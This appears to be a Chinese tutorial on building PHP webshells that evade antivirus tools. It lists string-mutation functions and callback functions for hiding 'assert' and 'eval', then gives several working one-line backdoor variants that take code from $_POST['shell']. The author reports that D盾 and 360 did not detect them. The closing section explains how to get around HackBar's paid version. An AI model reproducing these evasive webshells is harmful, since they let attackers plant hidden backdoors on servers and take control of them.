实现方法:
substr_replace(); // 函数变形 assert 达到免杀(免除杀毒软件识别)的效果:如
$b = substr_replace("$_POyy","ST",4); //将$_POST变形为$_POyy
$c = substr_replace("evee","al",2); //将eval变形为evee
$a = substr_replace("assexx","rt",4); //将assert变形为assexx
免杀方法总结
1、字符串内容变形方法
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。asserT --> assert --> a
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。
2、使用函数分割关键字方法
function kdog($a){
$a($_POST['x']); //assert($_POST['x'])
}
kdog(assert);
3、可以通过函数或类函数绕过的回调函数
call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
function test($a,$b){
array_map($a,$b);
}
4、免杀实例
使用Hackbar验证变形是否成功
1.PHP 5.x验证成功
使用@assert($_POST['shell'])
变形后
function MYPOST($s) {
return $_POST[$s];
}
$a = substr_replace("assexx","rt",4); //assert
@$a(MYPOST("shell"));
点击Execute执行成功
D盾和360都未检测到后门
2.PHP 7.x验证失败
使用@eval($_POST['shell'])
变形后
function MYPOST($s) {
return $_POST[$s];
}
$c = substr_replace("evee","al",2); //assert
@$c(MYPOST("shell"));
但是报错
使用以下改造后可以运行
function MYPOST($s) {
return $_POST[$s];
}
function MYEVAL($s) {
return @eval($s);
}
MYEVAL(MYPOST("shell")); #php7.x
但是D盾检测有问题
3.PHP 7.x变形改进
使用特殊字符干扰得以解决
function MYPOST($s) {
return $_POST[$s];
}
$zeo='dalao';
$$zeo=MYPOST("shell");
eval(``.$dalao);
HackBar破解方法
使用旧版本的HackBar
使用没升级前的hackbar,升级完的是2.2.7版本,我们可以找到一个2.1.3版本,没有收费代码,可以直接加载使用。
HackBar2.1.3版本下载地址:
github下载地址:https://github.com/Mr-xn/hackbar2.1.3
手工安装HackBar2.1.3
首先:打开firefox的附加组件;其次:再点 “从文件安装附加组件”;最后再打开“{4c98c9c7-fc13-4622-b08a-a18923469c1c}.xpi”添加扩展即可
下载后从此处安装即可